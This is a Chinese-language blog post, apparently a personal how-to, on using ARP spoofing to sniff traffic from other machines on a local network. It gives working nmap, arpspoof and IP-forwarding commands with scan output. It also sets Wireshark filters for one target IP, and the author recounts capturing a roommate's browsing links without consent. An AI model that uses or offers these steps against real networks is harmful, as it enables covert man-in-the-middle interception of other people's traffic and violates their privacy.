1. 程式人生 > >使用arp欺騙進行同一區域網內的抓包

使用arp欺騙進行同一區域網內的抓包

環境

  • 作業系統: MacOS 10.13.4
  • 包管理工具:MacPorts 2.4.4
  • arp欺騙工具:arpspoof 2.4
  • 抓取區域網內的IP地址的工具:nmap 7.70
  • 抓包工具:Wireshark 2.4.3

前言

本來是想了解如何搶佔頻寬的,搜到了這麼一篇文章:如何在區域網內搶頻寬,裡面提到了ARP欺騙,在網路管理課上貌似提到過ARP協議,乘機學習一下

ARP(Address Resolution Protocol,地址解析協議)是獲取實體地址的一個TCP/IP協議。傳送方用目標IP地址去換取了接收方的MAC地址,之後MAC地址存放到本地的快取中(在一定的生存期時間內)。

而ARP欺騙就是:機器A的MAC地址告訴目標機B(目標機B在任意時候都可以接收ARP請求的應答),讓目標機B 以為本機才是閘道器,這樣B接收後就會更新本地快取,以後所有本該走到閘道器去的包都會從機器A走,這樣機器A就可以獲取B的資料包了

假設C為閘道器,A為欺騙者,B為被欺騙者,之前是 B->C,而欺騙之後,B->A->C,如果A不進行資料轉發的話,那麼B就像是斷網一樣

環境搭建

先安裝MacPorts,去官網下載即可,注意看好對應的MacOS版本,

安裝完畢之後在命令列上輸入 port 進行測試

port

如果說找不到指令,則在命令列或者bash_profile或bashrc中輸入以下內容將其加入到系統路徑中來

export PATH=/opt/local/bin:/opt/local/sbin:$PATH

之後安裝arpspoofnmap

sudo port selfupdate
sudo port install nmap
# 以下兩條命令二選一,arpspoof都包含在內
sudo port install dsniff-devel
sudo port install dsniff

最後如果出現提示叫你執行以下類似命令的話請無視

port select --set python python27

執行命令進行測試

nmap -v
arpspoof

Wireshark直接去官網

下載就行了

基本資訊獲取

需要獲取以下資料

  • 本機的IP
  • 閘道器的IP
  • 目標機IP

執行

sudo nmap -sS 192.168.1.0/24

等一會兒會得到型別下面結果

Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-07 14:49 CST
Nmap scan report for 192.168.1.1
Host is up (0.0038s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
1900/tcp open  upnp
MAC Address: BC:46:99:53:17:F6 (Tp-link Technologies)

Nmap scan report for 192.168.1.100
Host is up (0.026s latency).
All 1000 scanned ports on 192.168.1.100 are closed
MAC Address: 38:A4:ED:BA:DF:C8 (Xiaomi Communications)

.....

Nmap scan report for 192.168.1.101
Host is up (0.000028s latency).
Not shown: 848 closed ports, 151 filtered ports
PORT     STATE SERVICE
8090/tcp open  opsmessaging

Nmap done: 256 IP addresses (9 hosts up) scanned in 125.68 seconds

第一個192.168.1.1是閘道器地址,最後一個192.168.1.101是我本機的IP,而從第二個開始就是接入本區域網的其它機器的IP,就用第一個吧

攻擊開始

arpspoof -i en0 -t 192.168.1.100 192.168.1.1
# 開啟ip轉發,否則的話對方機器會出現斷網的情況,關閉的話把1改為0
sudo sysctl -w net.inet.ip.forwarding=1

開始Wireshark開始抓包,把filter設定為 ip.addr == 192.168.1.100

如果只想抓http的話就這樣寫 ip.addr == 192.168.1.100 && http

當時比較震驚的是抓到了室友看黃圖的連結…

這裡寫圖片描述

備註

對我的華為榮耀7進行arp欺騙時失敗了,貌似是它有防護措施,多試了幾次發現只有在其剛接入區域網的時候才能欺騙成功,但是想再次進行欺騙也沒成功,對別的IP進行欺騙時也是失敗次數多於成功的

目前https越來越流行,這意味著即使你抓到包了也不知道資料是什麼,它在tcp之上添加了一層ssl,搜了一下破解的方法也只是定向的,泛用型不好,不過這樣更安全也不錯

有用的連結